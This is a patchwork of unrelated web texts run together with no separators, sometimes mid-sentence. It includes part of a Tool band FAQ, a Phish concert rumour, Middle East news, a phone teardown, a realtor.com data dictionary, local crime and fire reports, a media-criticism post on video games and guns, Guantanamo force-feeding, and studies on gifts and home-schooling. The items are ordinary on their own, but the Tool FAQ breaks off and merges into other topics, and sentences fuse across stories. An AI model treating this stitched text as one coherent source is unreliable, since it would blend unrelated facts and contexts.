Actually, there is a part of our brain called the pineal body (a tiny gland in the brain stem) which is nicknamed our "Third Eye", which is theorized to be extremely sensitive to light, and may be linked to Seasonal Affective Disorder. Neat.
Let the endless yammering end. Lots of people seem convinced that playing the album alongside movies about Oz or Aliens proves that the album is speaking directly to those movies. The fact is, if you want badly enough to believe, you can play any CD along any movie and find synchronicities. But have fun trying.
H. "Salival"
Released December 12, 2000 USA. International dates vary.
H1. First of all... "Salival"?
As to pronunciation, it rhymes with "revival." The title no doubt has a few meanings (what in Tool-world doesn't?). The easy explanation is that fans had waited for so long for more Tool, they were drooling in anticipation. Then of course, there is the answer related to the little shiny square on the cover.
If you had to describe some of the sounds and artwork of "Salival" using an adjective associated with the effects of a drug, and if that drug somehow could be associated with the word "saliva," you'd figure it out.
Many Tool fans recognized it instantly as an upside down Tree of Life, a ritualistic symbol. Dane Goodman ([email protected]) has this contribution to the answer: "The Tree of Life also represents the chakra points of the body. You can switch it around upside down and right side up to represent the points of the chakra on Mr. Spin-vein-hand-bald Man."
Initially distributors seemed to be having a tough time getting enough copies in; their early orders were cut due to a shortage. However, "Salival" sold over 150,000 copies in its first few weeks of release, and is still available eight months later. It remains to be seen just how "limited" it will be.
Depends. Early printings suffered from a series of factual errata, listed below. Many of these errors were actually fixed in a subsequent printing; it appears only the first hundred thousand or so are tainted. (No, it doesn't make your copy any more valuable.) Somehow, the quality control czar on the assembly line let a whole slew of mistakes slide on the first run: - "Pushit" and "Stinkfist" are listed as two words each, instead of one word.
- The first word is spelled wrong in "Message to Harry Manback II."
- Aloke Dutta and Paul D'Amour's names are misspelled.
- The videos on the VHS run in reverse order from the tracklist. This mistake is not corrected in new printings. There are a few other errors as well. Read on.
The song was one of four "Ænima" songs written before Justin joined the band. See also Question G13.
Depends. If you have the VHS, then no. Sorry. But you can find it tucked away on the DVD.
Those familiar with DVDs know that most discs allow you to choose sound formats, depending on your system setup. That said, go back and play with it and look at the choices on that two-hand page. One has two little circles, one has five plus one. Think about it. If you don't have a full-blown home theater setup, it won't really affect you anyway.
All of the hidden footage is hidden so well, you can't find it.
H11. OK, so about the CD... where did they record those live tracks?
The liner notes list from which live performances the tracks were culled; however, no information is available on which show yielded which song.
If you have one of the original printings (See Question H5), you've found another mistake in the liner notes; "You Lied" is actually track 5 and "Merkaba" is track 6.
It is a sample of Timothy Leary talking. Check the liner notes.
See Question C14.
Actually, "Message to Harry Manback II", "No Quarter", and "LAMC" were all recorded during the sessions for "Ænima." The message is not as new as you fans of stalkers would hope.
If you read Question D9, you'd know the answer to this one.
* H18. What's a "Merkaba"?
In ancient Egyptian, it breaks down to Mer (rotating fields of light), Ka (spirit), and Ba (soul / body). Merkaba meditations facilitate deep spiritual growth and activation. Given the head space listeners tend to enter when listening to the song, and that live performances of this song feature Maynard introspective onstage, it makes sense that the song is named for this style of meditation. As a bonus, Jeremy ([email protected]) found that the amazon.com summary of "The Ancient Secret of the Flower of Life: Volume 2" by one Drunvalo Melchizedek (see Question G36) says "Finally, for the first time in print, Drunvalo shares the instructions for the Mer-Ka-Ba meditation, step-by-step techniques for the re-creation of the energy field of the evolved human, which is the key to ascension and the next dimensional world." As a double bonus, the word also translates to 'chariot' in Hebrew ("merkavah"). The chariot (Heb. merkavah) of God was first described in Ezekiel 1:1 - 1:28. This is included more for your own edification than to explain why the song got this name. For more information, check www.merkaba.org.
This song is actually an extended intro to "Sober" which was played live on the 1997-98 tours. Then it got a name. You may recall from those shows seeing Maynard sit while the rest of the band gave birth to this screaming sound.
The origin of the "omniscient, omnipotent, omnipresent, without judgment" sample is currently unknown. The sample "It's some kind of psychedelic experience" seems to be the same one used in the song by Zaum - Psychedelic Experience
No; though Danny was playing drums for the other band, the two "Merkabas" are not the same song; merely named for the same thing.
This is another production error in the liner notes; he actually plays on "You Lied." See Question H5.
See Question D6.
Ahh, the joys and pitfalls of Napster. Those of you who rushed to find the songs online before release likely came across a bogus track named "Tool - LAMC" which was a fake. Such is the art of deception in the Napster era.
It's a dreadful place known as the Los Angeles Municipal Court. The kind of place you'd only want to visit once... sort of like the song.
The one which starts six minutes and sixty-six seconds in? Many radio stations began playing it as soon as they got their hands on it, and started calling it "Maynard's Dead" - most likely because they can't say its real title on the air. But it is about, and it is titled, "Maynard's Dick." As you can probably tell by the more-thrash-than-usual style, "Maynard's Dick" is actually not a "new" song. It was rumored to exist for a long time, since the "Opiate" days, but only surfaced on this CD. The date of this recording, and whether it features Paul or Justin, is unknown.
I. Section I
You might be wondering why there is no Section I. It's because the letter I looks an awful lot like the number 1, and it just seemed like it would be confusing for somebody, somehow. In any event, take this opportunity to stretch and look away from the hordes of words in front of you. It will be good for your "I's."
J. "Lateralus"
Released May 15, 2001 USA. International dates vary.
Debuted #1 USA, Australia, Canada, #2 Norway, #5 Germany, #7 Holland, #16 UK, etc.
Certified platinum USA
Questions in this section will get actual numbers next time.
*** J1. What in the world is a "Lateralus"?
In an interview with Aggro Active (May 2001), Maynard offered this answer: "Lateralus itself is actually a muscle and although the title does have something to do with the muscle, it's more about lateral thinking and how the only way to really evolve as an artist -- or as a human, I think -- is to start trying to think outside of the lines and push your boundaries. Kind of take yourself where you haven't been and put yourself in different shoes; all of those cliches." It is almost Latin for "to the side." To what muscle specifically he is referring is not yet known, though there are apparently two leg muscles whose names include the word.
** How do I pronounce this album title?
Some folks say "ladder-Alice", some "later Alice" and some "lateral-us." The first is believed correct.
** Did you know that it says "God" in the guy's brain in the liner notes?!
Yep. The whole sequence has a very clear message, the word "God" takes its proper place in that progression.
** OK, I see the progression in the transparent images, but what's that four-pointed bottle-opener thing on the back page?
At present, nobody has any idea.
"Lateralus" has been mastered as a High Definition CD. Tool fan Dennis Jernberg ([email protected]) summarizes: "To the TOOL fans with delicate ears, the fact that "Lateralus" is a HDCD compatible release is great news. Simply put, it uses 20-bit encoding instead of the standard 16 bits. But, you need an HDCD compatible player to take advantage of the extended information." If you don't have such a player, it will sound as solid as a normal CD. Get more info at hdcd.com.
Originally scheduled for a June 2001 release, the vinyl edition of the album was delayed indefinitely. The other albums are out on vinyl, so hopefully someday LP collectors will get good news about this release. Until then, keep reminding yourself, be patient.
This is similar to the "LAMC" problem mentioned above in Question H24. You likely encountered more fakes that have spread with Tool titles on them. These Napsterized doppelgangers are not Tool songs.
Much as "Eulogy" is very subjective, this song can be interpreted to be about any two people who have had a falling out. It is not officially about any two people.
So as not to give everything away, this FAQ will only recommend that you search the web for info on Saturn ascending. Perhaps someday an answer will appear here similar to Question G36.
** What is a "scarlet letterman" supposed to be?
You'll have to ask Nathaniel Hawthorne.
"Eon Blue" is the name of a chatroom at the official site. Eon is also mentioned by name in a post to the Official Site on February 19, 2001, regarding "Adam's 190 pound Great Dane." The filename of that news post was Eon.html. Thanks to Patrick White ([email protected]) for finding this.
Tool fan Yaz ([email protected]) found a 2001 interview with Maynard in the Japanese magazine "Buzz" where MJK stated for the first time in public ("a treat for the Japanese fans," he says) that the track "Mantra" is the sound of him squeezing one of his Siamese cats. The cat made such a weird noise that he immediately recorded this, played it real slow and made a track out of it.
A quick trip to a dictionary tells us that it is a "a separation or division into factions."
A major theme of the whole album is reconciliation. Many of these tracks touch on the subject, though "The Grudge" is more about the actual grudge, and "Schism" focuses more on the separation itself.
Apart from being a variation on the spelling of "parable" (which this song is somewhat), it's almost a "Parabola"...
We all know it's a geometric curve, but as far as what it is doing as the title of this song, the best theory has yet to come forward. One notion is that it approximates the shape of two bodies together, as in the lyrics of the song. Of course, another thought is that it sounds like "pair of balls."
Some say the record industry, some say obnoxious fans - this is another Tool song that could really be about anyone.
All of the songs with lyrics from
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their relationship with SCI via their new Hulaween at Suwanee tradition
2. Their recently announced fall tour does not hit Chicago. These shows are listed as "Show Type: One-Off".
3. The venue seems right size for a three night run, especially as a standalone weekend in a major city.
4. The names listed above all check out with the band's management.
5. It does not appear any band members have conflicts with solo projects or other commitments on these dates.
I'm guessing this is a go, so mark your calendars for January 29th, 30th and 31st for a bit of Cheese in Chicago.Israeli Soldiers prevent an international solidarity worker from entering Khatib’s home tonight. (Photo: Hamde Abu Rahmah)
On the day that Bil’in protest leader Mohammad Khatib was arrested for the second time in six months, the New York Times has finally caught up to the story of Israel’s ongoing campaign against Palestinian dissent. Isabel Kershner’s article, Israel Signals Tougher Line on West Bank Protests, gives an overview of the "creeping, part-time intifada" that continues to spread across the West Bank, as well Israel’s effort to quash it.
Kershner quotes Khatib in the article and notes his arrest today:
“Bilin is no longer about the struggle for Bilin,” said Mr. Khatib, who was arrested in August and has been awaiting trial on an incitement charge. “This is part of a national struggle,” he said, adding that ending the Israeli occupation was the ultimate goal. Before dawn on Thursday soldiers came to Mr. Khatib’s home in Bilin and took him away again.
It’s clear Israel is growing increasingly concerned as Kershner also quotes military spokesperson Maj. Peter Lerner, “’These are violent, illegal, dangerous riots.’ Other Palestinians are ‘jumping on the bandwagon,’ he said, and the protests ‘could slip out of control.’"
The Popular Struggle Coordination Committee released a statement following Khatib’s arrest placing it in a broader context:The intrepid disassemblers over at iFixit have torn Amazon's Fire phone asunder in order to determine how repairable it is, but what did they find? At first blush, things seemed promising, with standard Torx screws holding the chassis together, but after that things started to get sticky. The battery, for instance, is attached with an adhesive tab, but the five front-facing cameras are all held in place with liberal dollops of glue. So much so, in fact, that do-it-yourself repairs are nearly impossible unless you're patient enough to melt each component out of its adhesive prison. Getting spare parts isn't ideal either, since the components share so many resources that you can't just replace one piece -- you've got to buy the lot. That's why the phone scored a measly 3 out of 10 for repairability, which is yet another reason not to buy one.Mass Effect: Andromeda's Tempest is the ship in which we do most of our exploring in the eagerly awaited forthcoming BioWare game release-Mass Effect: Andromeda. Long and sleek but still recalling the classic Normandy ship design, it is a key element of the new interactive player experience.
Approximately 8" long, with meticulous paint and sculptural details, Tempest joins the collection in June.
Dec 13, 2018 Hykaru Sylvanas from Argentina
Great product, nice quality. Bigger than the SR-1. A nice addition to my collection and make the fleet grow :) Sep 14, 2017 Adam M from Ohio
Better quality than expected. Have had issues with similar items in the past, but was very happy with this purchase. Bigger than the previous ships in the Mass Effect series and a welcome addition to my collection! Choose a ratingRealtor.com Real Estate Data Library
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Key remarks: Data in this realtor.com library is based on the most comprehensive and accurate database of MLS-listed for-sale homes in the industry. We aggregate and analyze data from hundreds of sources and produce hundreds of metrics for multiple markets, and curate figures and trends where possible for reliability and comparability. However, as we continue to evolve our coverage and fine-tune our definitions, some data points may be too volatile or incomparable over time or across markets. This is particularly true for data in a) smaller geographies; b) markets with special or changing definitions of active inventory; c) markets with limited or partial listing; and d) coverage markets with limited or partial sales coverage. Where possible, these cases are annotated for individual metrics (see data dictionaries for more info). Also, every month, we reissue the full historical series, and past data points may change as we improve data breadth and accuracy, and/or re-state the data altogether.
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INVENTORY
Market trends and monthly statistics on active for-sale listings (including median list price, average list price, luxury list price, median days on market, average days on market, total active listings, new listings, price increases, price reductions). Attribution: cite any full or partial use of the data to the ‘realtor.com residential listings database’.
MARKET HOTNESS
Realtor.com Market Hotness Index: scores and rankings based on days on market (supply index) and realtor.com views per property (demand index).
Attribution: cite any full or partial use of the data to the ‘realtor.com market hotness index’.
DATA DICTIONARIES
Inventory
Median Listing Price The median listing price within the specified geography during the specified month. Avg Listing Price The average listing price within the specified geography during the specified month. Median Listing Square Feet The median home size in square feet within the specified geography during the specified month. Median List Price Per Sqft The median listing price per square foot within the specified geography during the specified month. Active Listing Count The count of active listings within the specified geography during the specified month. The active listing count tracks the number of for sale properties on the market, excluding pending listings where a pending status is available. This is a snapsot measure of how many active listings can be expected on any given day of the specified month. Median Days on Market The median number of days property listings spend on the market within the specified geography during the specified month. Time spent on the market is defined as the time between the initial listing of a property and either its closing date or the date it is taken off the market. Days on Market Under 30 Share The share of properties spending fewer than 30 days on the market. New Listing Count The count of new listings added to the market within the specified geography during the month. Price Increase Count The count of listings which have had their price increased within the specified geography during the month. Price Decrease Count The count of listings which have had their price reduced within the specified geography during the month. Pending Listing Count The count of pending listings within the specified geography during the specified month, if a pending definition is available for that geography. This is a snapsot measure of how many pending listings can be expected on any given day of the specified month. Total Listing Count The total of both active listings and pending listings within the specified geography during the specified month. This is a snapsot measure of how many total listings can be expected on any given day of the specified month. Pending Ratio The ratio of the pending listing count to the active listing count within the specified geography during the specified month. Views The count of views to all Realtor.com listings in the geographic area. Views per Property The total count of views to active Realtor.com listings divided by the active listing count for the geographic area.
Market HotnessJERUSALEM — A Palestinian man sprayed acid on six members of an Israeli family in a car and an Israeli hitchhiker in the West Bank on Friday, wounding them lightly to moderately, according to the Israeli military.
The assailant, who was also wielding a screwdriver, was then shot and wounded by an Israeli passer-by, the military said.
The events took place on a main road near the Palestinian town of Husan in the Etzion settlement bloc south of Jerusalem, where the family had stopped to give the hitchhiker a ride. The military initially said the Palestinian had been trying to get a ride with the family, but later updated its account to say he was just standing next to the Israeli hitchhiker.
It was the latest in a wave of attacks carried out by lone Palestinians, though the first to involve acid. Eleven people have been killed in recent weeks by Palestinians using vehicles, knives, meat cleavers and guns as weapons.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A PEDESTRIAN caused chaos this morning running about Scotland's busiest motorway wearing nothing but boxer shorts.
Shocked drivers were forced to slow down on the M8 near Harthill and Shotts when they spotted the man, clad in just tartan boxer shorts, darting between the two carriageways both east and west bound.
Police detained the man after receiving dozens of calls from angry motorists who faced delays of up to 30 minutes while police attempted to reach the man.
Traffic Scotland tweeted: "Pedestrian. All lanes restricted for up to 30 minutes."
A police spokesman said: "We are attending an incident on the M8 following reports of a pedestrian on the motorway."First Madea, Now Poster Boy. Photo by Jim Kiernan on Flickr a flyer for the event, a festival put on for Friends We Love, a series of videos documenting the process of a dozen different artists, including Poster Boy, who talked with us just last week.
Photographer Jim Kiernan tipped us off to the arrest. He arrived at event at Broadway and Howard Street to meet up with Poster Boy around 7 p.m., but police had already arrived after spotting the Poster Boy's name on the flyer. Kiernan says, "There was an undercover cop on the block and they came and picked him up. As far as I know, he's still in Central Booking right now and waiting to get in front of a judge...It's the second time they've gotten him."
There doesn't appear to be one specific piece or incident that triggered the arrest, but Kiernan wonders if it might have something to do with Poster Boy's recent move above ground, taking his "photochop" style and applying it to a Van Wagner billboard in Brooklyn. He told us, "He's f*ckin with money. He's cutting up advertising. Advertisers aren't happy about that. And I'm sure the Van Wagner people weren't thrilled."
Friends are waiting for Poster Boy to go before a judge and have bail set with hopes that it will happen today, but fearing that it may not be until Monday. Collaborating artists Ellis G. and Aakash Nihalani photochopped up a couple of impromptu pieces at last night's event declaring "Free Poster Boy!" and "NYPD=Joke". When asked if he thought the arrest would deter Poster Boy, Kiernan said, "It definitely won't—no way. His whole concept is that it's a movement. It's bigger than him."Update, 9:45 p.m. In other breaking news, BART service has stopped in Berkeley due to a person on the tracks between the MacArthur and Ashby stations. A major power outage also hit West Berkeley on Sunday night. Tune in to Berkeleyside’s Facebook page and Twitter for updates. (Accounts are not needed to view the pages.)
Update, 8:38 p.m. Police confirmed that the information that follows is accurate regarding the shooting. No victims have been identified at this time, and no arrests have been made. Said Lt. Alyson Hart, watch commander, “We are still piecing together what may have happened.”
Regarding the fire, eastbound University was closed between Grant Street and Jefferson Avenue as a result of that response. Motorists were advised to find another route.
Original post, 8:15 p.m. First responders have been busy Sunday night despite the wet weather, with gunshots reported in South Berkeley and a structure fire on University Avenue.
Reports about the gunfire are preliminary, as Berkeleyside is waiting for official news from authorities. The fire is under control and at least two people have been displaced. One person was taken to the hospital after the fire for medical care.
According to unconfirmed scanner traffic, police were called in the 2800 block of McGee Avenue, near Oregon and Russell streets, shortly after 6 p.m. for multiple reports of gunfire.
There were numerous calls about at least one male seen with a gun. Witnesses reported several people running away from the block, and police detained at least two people at about 6:10 p.m. and were looking for others who may have been connected. (They were not arrested, BPD said later.)
Gunfire reportedly struck at least two homes, and police were still on the scene more than an hour after the call.
One local resident said, as of shortly before 8 p.m., “the area is not on lockdown and police have dispersed so certainly no victims & not actively looking for anyone locally.”
Fire on University
Shortly before 7 p.m., the Berkeley Fire Department responded to a report of an active fire inside a building in the 1700 block of University, near McGee Avenue.
Firefighters who responded saw smoke coming from the second level of the 2-story building, and worked to make entry and begin evacuating the building, which has residential units over retail.
Interim Deputy Fire Chief Donna McCracken said two units, of the roughly 20 in the building, were involved. One of them was heavily impacted, and the other was moderately impacted. Two people, one from each of those units, was displaced.
Firefighters had to rescue one person through a window and down a ladder, and help another person out the front door. One person was taken to the hospital for medical care.
McCracken said the cause of the fire remains under investigation, but it was under control before 8:05 p.m. She said some of the residents would likely be allowed to return home, but it wasn’t clear how many.
One neighbor told Berkeleyside the “whole neighborhood smells like burnt plastic, even upwind of it.”
Berkeleyside will update this post if additional details are provided. Have a question about a local public safety incident? Write to [email protected]. Photographs and videos are always appreciated.
Get the latest Berkeley news in your inbox with Berkeleyside’s free Daily Briefing. And make sure to bookmark Berkeleyside’s pages on Facebook and Twitter. You don’t need an account on those sites to view important information.Media Figures Say Guns Don't Kill People, Video Games Do September 17, 2013 2:11 PM EDT ››› Blog ›››››› OLIVER WILLIS
Several media figures have reacted to the mass shooting in Washington, D.C.'s Navy Yard by downplaying the role access to firearms had in the killings, instead blaming video games and their purported effect on mental health. But studies have either debunked or failed to find a plausible link between playing violent video games and real world gun violence. Much of the connection between shooter Aaron Alexis and video games appears to come from Mike Ritrovato, who says he knew Alexis. Ritrovato told The Los Angeles Times that "if [Alexis] had anything bad about him, it was that he was a 35-year-old man playing video games." Ritrovato also told ABC News that Alexis was often late to work "because he was staying up all night playing video games."
Based on these reports, several media figures have sought to draw a direct connection between the shooting and Alexis' interest in video games.
On the September 17 Fox & Friends, co-hosts Steve Doocy and Elisabeth Hasselbeck promoted the gaming connection:
ELISABETH HASSELBECK: And are more people susceptible? You know are more people, maybe more susceptible than others to playing video games. Is there a link between a certain age group or demo in this - twenty to thirty-four year old men, perhaps, that are playing these video games and then their violent actions? We have yet to find out. STEVE DOOCY: Well just, I mean, unfortunately you know it seems every time something bad like this happens we look at "is there a connection between video games and the shooter?" Well, take a look at some people who were described as addicted, from Columbine High School, Eric Harris and Dylan Klebold, the Virginia Tech shooter, the Arizona shooter, Jared Lee Loughner, that Norway shooter who Anders Behring [sic], I think he shot 77 people. The Aurora shooter, James Holmes, the Sandy Hook shooter, Adam Lanza, they're all described as essentially being addicted to video games.
Hasselbeck went on to suggest monitoring how frequently gamers play violent games and suggested that "maybe they time out" after a certain amount of time played.
Fox and Friends also re-used a graphic with pictures of seven mass shooters that noted that "all were big gamers."
At the top of the conservative Drudge Report, an image from the military-themed game Call of Duty: Black Ops 2 was used along with the headline "Navy Yard Shooter 'Obsessed With Violent Video Games'," which linked to a Telegraph story detailing Alexis' history with video games. TheTelegraph piece labeled Alexis' gaming habit part of the "darker" side of his character.
MSNBC's Mika Brzezinski claimed on Morning Joe that "it's kind of hard not to make a connection when you hear his friend saying that he would watch on a life size screen these violent video games for hours and hours and hours and hours and hours." Her co-host, Joe Scarborough, noted that the shooter had this trait "in common with the Newtown shooter and so many others."
On The 700 Club, televangelist Pat Robertson -- who has previously claimed that murders committed in video games are as sinful as "performing the act" in the real world -- worried about the "life altering" effects of violent video games:
While media figures are predictably pinning blame on video games for yet another mass shooting, academic studies tell a different story. A 2013 study in in the Journal of Aggression, Maltreatment &Trauma studied environmental influences on violence and concluded that "Media use was not associated with either increased or decreased risk of adult criminality."
Previous research into this topic has produced similar results. First Amendment watchdog group Media Coalition summarized past studies on violent video games, writing, "Reviews by the governments of Australia, Great Britain and Sweden have all studied the research claiming a link between violent video games and aggressive behavior and concluded that it is flawed, flimsy and inconclusive."
Media Coalition also noted that in the course of striking down a California law seeking to restrict the sale of violent video games, "the U.S. Supreme Court in 2011 noted that the scientific evidence the state relied upon had been rejected by nearly every court to consider it, and that'most of the studies suffer from significant, admitted flaws in methodology.'"
The Washington Post's Max Fisher analyzed the data on video game sales and gun-related killings internationally, writing that, "Looking at the world's 10 largest video game markets yields no evident, statistical correlation between video game consumption and gun-related killings."
In fact, Fisher found that "this data actually suggests a slight downward shift in violence as video game consumption increases" and concluded, "video game consumption, based on international data, does not seem to correlate at all with an increase in gun violence."
So, what have we learned? That video game consumption, based on international data, does not seem to correlate at all with an increase in gun violence. That countries where video games are popular also tend to be some of the world's safest (probably because these countries are stable and developed, not because they have video games). And we also have learned, once again, that America's rate of firearm-related homicides is extremely high for the developed world.GUANTANAMO BAY, CUBA - SEPTEMBER 16: (EDITORS NOTE: Image has been reviewed by the U.S. Military prior to transmission.) U.S. military guards move an 'enemy combatant' within the detention center on September 16, 2010 in Guantanamo Bay, Cuba. With attempts by the Obama administration to close the facility stalled, more than 170 detainees remain at the detention center. The facility is run by the Joint Task Force Guantanamo, located on the U.S. Naval Station at Guantanamo Bay, which is the oldest American naval base outside of the continental United States. (Photo by John Moore/Getty Images)
The American Civil Liberties Union and other human rights groups on Monday called on Defense Secretary Chuck Hagel to halt the force-feeding of hunger-striking Guantanamo detainees.
In a letter addressed to Hagel, the organizations describe the process being used to deliver nutrients to 29 of the 100 prisoners who are currently protesting by not eating:
The force-feeding process is inherently cruel, inhuman, and degrading. The prisoner is strapped into a chair with restraints on his legs, arms, body, and sometimes head, immobilizing him. A tube is inserted up his nostril, and snaked down his throat into his stomach. A liquid nutritional supplement is then forced down the tube. The prisoner is restrained in the chair for upwards of two hours to prevent him from vomiting. As Guantánamo hunger-striker Samir Naji al Hasan Moqbel explained recently: “I can’t describe how painful it is to be force-fed this way. As it was thrust in, it made me feel like throwing up. I wanted to vomit, but I couldn’t. There was agony in my chest, throat and stomach. I had never experienced such pain before.” 1 Debilitating risks of force-feeding include major infections, pneumonia, collapsed lungs, heart failure, post-traumatic stress disorder and other psychological trauma.
Military officials confirmed the controversial process on Monday, saying that they had been managing the hunger strikers in that manner since March.
The letter went on to claim that the military's handling of the hunger strike violates the Geneva Conventions and could be considered "torture" under some treaties. It also asked Hagel to investigate and to rectify any "abusive conditions and treatment" outside of the hunger strike.
As of Monday, five of the 29 detainees being force-fed were being treated in the hospital. As HuffPost's Ryan J. Reilly reported in April, many of the hunger-strikers have turned to this extreme form of protest because they don't have any other options and feel they will die in the facility:
Eleven years after the first prisoners arrived at Guantanamo, 166 remain, with no end in sight. More than half -- 86 -- have been cleared for transfer to other countries, but the process has been snarled by a mix of congressionally imposed restrictions and executive branch inaction. Even if President Barack Obama did have the power to close Guantanamo unilaterally, doing so would not necessarily mean that the detainees would be set free in other countries. William Lietzau, the top detainee policy official at the Pentagon, told The New York Times recently that he doesn’t believe the number of detainees being held without charges would “change radically,” even if legislative restrictions were removed.The Phineas Gage information page
Created by Malcolm Macmillan
School of Psychology, Deakin University
School of Psychological Sciences, University of Melbourne
Victoria. Australia. Now maintained by The Center for the History of Psychology
The University of Akron, Ohio, USA.
Acknowledgements: Portrait of Harlow and his photographs of Gage's skull courtesy Woburn Public Library; Daguerreotype and heads of Phineas Gage from Wilgus collection, courtesy of Beverly and Jack Wilgus; Tamping iron, Gage life mask, and the note from Phineas about his tamping iron, courtesy Warren Anatomical Museum, Francis A. Countway Library of Medicine, Harvard University; William Gilbert’s map of the R&BRR courtesy of US Library of Congress Railroad Map collection; Hosea Doton’s map of Cavendish courtesy Old Sturbridge Village; Image of Barnum’s American Museum courtesy The Barnum Museum, Bridgeport; Broadside of Phineas’ lecture-exhibition in Concord and Concord coach courtesy New Hampshire Historical Society; CT scan courtesy Dr. H. R. Tyler; Ratiu image courtesy New England Journal of Medicine and Dr. Peter Ratiu.
Material from these pages may be used for educational and non-commercial purposes without fee but the source should be acknowledged with “Reproduced from the Phineas Gage Information Page at http://www.uakron.edu/gage”. Other uses require the permissions of both The Center for the History of Psychology and the providers of the images listed above.
Questions about the content may be sent to [email protected]. Created 15th. August, 1999 by Ian and Malcolm Macmillan and last updated by them 11th. October, 2005. Reorganized by Malcolm Macmillan and Matthew L. Lena 30th July, 2009 and Malcolm Macmillan and Cathy Faye, 2nd November 2012.
Copyright ©, Malcolm Macmillan, 1999-2012.But do the recipients care? Often, no. "Gift receivers would be happier if givers gave them exactly what they requested rather than attempting to be 'thoughtful and considerate' by buying gifts they did not explicitly request” to surprise them, the researchers write. Their clever paper asks givers and recipients to rate gifts along two metrics: desirability (i.e.: the quality of a restaurant, the cost of a coffee maker, the visual complexness of the video game) and feasibility (i.e.: the proximity of that restaurant, the ease of the coffee maker, the learning curve of the video game). Across several experiments, they find that givers consistently give gifts based on desirability and recipients consistently favor gifts based on feasibility.
For example, given the choice between buying somebody a gift card at an expensive Italian restaurant that’s far away and buying a gift card to a well-rated restaurant that is nearby, givers consistently went for the luxury restaurant, while receivers in the study said they preferred the place closer to home. The same was true for coffee makers: Givers said they wanted to buy the most expensive; recipients said they just wanted the easiest to use.
Another experiment conducted on Amazon’s Mechanical Turk asked participants to imagine a choice between a feasible software gift (a simple, straightforward photo-editing program) and a complicated but more advanced photo-editing program. In a control group, gift-givers made the classic mistake of splurging for the second, more complicated program, while the recipients were considerably more likely to say they wanted the simpler, more useful software. But in this experiment, there was a clever twist. Half the group was told to “first consider their own preference for the item.” By focusing on themselves—and coming to terms with the fact that they wouldn't have appreciated a complicated, expensive software program that they would have never figured out—they ironically came closer to giving the recipients what they wanted.
Still, we often buy gifts to be sentimental, and that's okay. The point of many gifts, such as jewelry or art, is precisely that they're not practical. Spending a lot of money on something that isn't merely useful is a way of saying: I like you enough to buy you stuff that simply says, "I like you."
At the same time, when we buy gifts that we hope the recipients will use, we tend to think too much about sentimentality than utility. After a while, many gifts are just things. And if they're not useful, or practical, or convenient, then what exactly makes them a great gift.It may come as no surprise to any parent who has watched her child squeeze into an overcrowded classroom, but getting the lessons at the kitchen table from mom or dad appears to push kids ahead academically.
A new study, published in the Canadian Journal of Behavioural Science, found that students between age five and 10 who were home-schooled with a structured curriculum surpassed the public school peers on standardized tests.
Conducted by researchers at Concordia University and Mount Allison University, the study assessed 74 children living in Nova Scotia and New Brunswick. (In Canada, it is estimated that about one per cent of children are home-schooled.)
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The public school students were performing at or above grade level. But when tests scores were compared, home-schooled children were found to have a half-grade advantage in math, and an average of 2.2 grade levels in reading.
Although lead author Sandra Martin-Chang, an education researcher at Concordia pointed out that school provided an important environment for social skills, she suggested several factors might give home-schooling the learning edge "including class sizes, more individualized instruction and more academic time spent on core subjects such as reading and writing."
A key point, though: the home-schooling program had to be structured and follow a curriculum. A smaller group of "unschooled" students, a theory of home-schooling that allows for independent learning without teachers or textbooks, scored the lowest on the test in all measures, in some cases as much as four grades behind.
Tell us: After the first week of school, do you think classes remain too large? Would you home-school your children if you could? Or do you think the social benefits of school outweigh other concerns?TORONTO – Ontario spent more than $44 million preparing for a correctional and probation workers’ strike that never happened, The Canadian Press has learned.
The Liberal government has publicly said it spent $8.5 million on training and renovating spaces in the province’s jails in the event that managers had to run the facilities on a 24-hour basis during a strike.
But an itemized list of strike preparation expenditures requested by The Canadian Press through the Freedom of Information Act shows the estimated total is actually $44,380,472.45.
READ MORE: Ontario correctional managers paid overtime for strike that never happened
Nearly $32 million of that was spent on one-time expenses, including accommodations for managers and private security.
Monte Vieselmeyer, chair of the Ontario Public Service Employees Union’s corrections division, said the money was “poorly spent.”
“The employer was preparing for a strike as opposed to coming to the bargaining table and bargaining fairly,” he said. “So from my perspective, it was a waste of money and padded pockets of managers for no purpose.”
Less than a third of the total was spent on items that were ultimately repurposed for regular use in correctional facilities, such as $3.2 million worth of food and beverages, $1.1 million for beds, mattresses and partitions, $866,000 in medical supplies and equipment, and $776,000 in safety and security equipment.
READ MORE: Ontario corrections staff avoid strike, reach tentative deal
Progressive Conservative critic Rick Nicholls said it’s “another example of wasteful spending and a lack of transparency by the Wynne Liberals.”
“It’s clear Premier Wynne’s Liberals can’t be trusted with taxpayer dollars,” Nicholls said Tuesday in a statement.
A three-year deal reached Jan. 9 with 6,000 correctional and probation officers averted a threatened strike, but by that time correctional managers and managers from across the public service had already been brought in to the jails.
The document pegs the cost of redeploying 2,000 managers at about $6.7 million.
READ MORE: Ontario starts training 144 new correctional officers for province’s jails
About $15.8 million was spent on trailers placed on the jail grounds where managers would live during a strike. Another half a million dollars was spent on storage trailers for “cook-chill” meals and $286,000 went to “storage rental costs.”
A further $2.4 million was spent on a logistics co-ordination supplier and $2.2 million on “loading and unloading costs.”
More than $660,000 spent on security services that went “to provide security guards at the institutions, who were responsible for monitoring the perimeter and providing escorts,” said Lauren Souch, a spokeswoman for Correctional Services Minister David Orazietti.
Another $494,000 was spent on training those managers, including de-escalation, offender programs and services, “culture and gender responsivity,” health and safety, inmate discipline, fire safety and emergency protocols.
READ MORE: Ontario set to hire 2,000 correctional officers in next three years
More than $8 million was spent on infrastructure, with about $5.5 million of that spent on permanent upgrades, such as electrical improvements, programming spaces and washroom improvements. The rest went to supporting installation and non-permanent site improvements, such as hooking up the temporary trailers to electricity, gas and sewage.
Souch said it would have been “irresponsible” to compromise the health and safety of the more than 8,000 inmates and 50,000 people on probation across the province in the event of a strike.
“It was only prudent to have contingency plans in place to ensure safety of our institutions and the public in the event of a labour disruption in our correctional facilities,” she said in a statement.
“Every effort was made to ensure costs to taxpayers were minimized while ensuring the highest standards of public safety and security. Additionally, all contingency planning decisions were assessed with the lens of how investments could be repurposed and integrated into daily operations and long-term improvements to our facilities.”
READ MORE: Ontario recruits jail guards amid what critics call a crisis in corrections
There was certainly a need to prepare to keep people safe, said NDP critic Jennifer French, but many of these expenses seem like “wanton spending.”
“If they have that kind of money to spend it could have been better spent strengthening a failing system,” she said.
The corrections deal included agreeing to interest arbitration for future contracts, meaning there won’t be another strike threat in the next round of bargaining, the government noted.
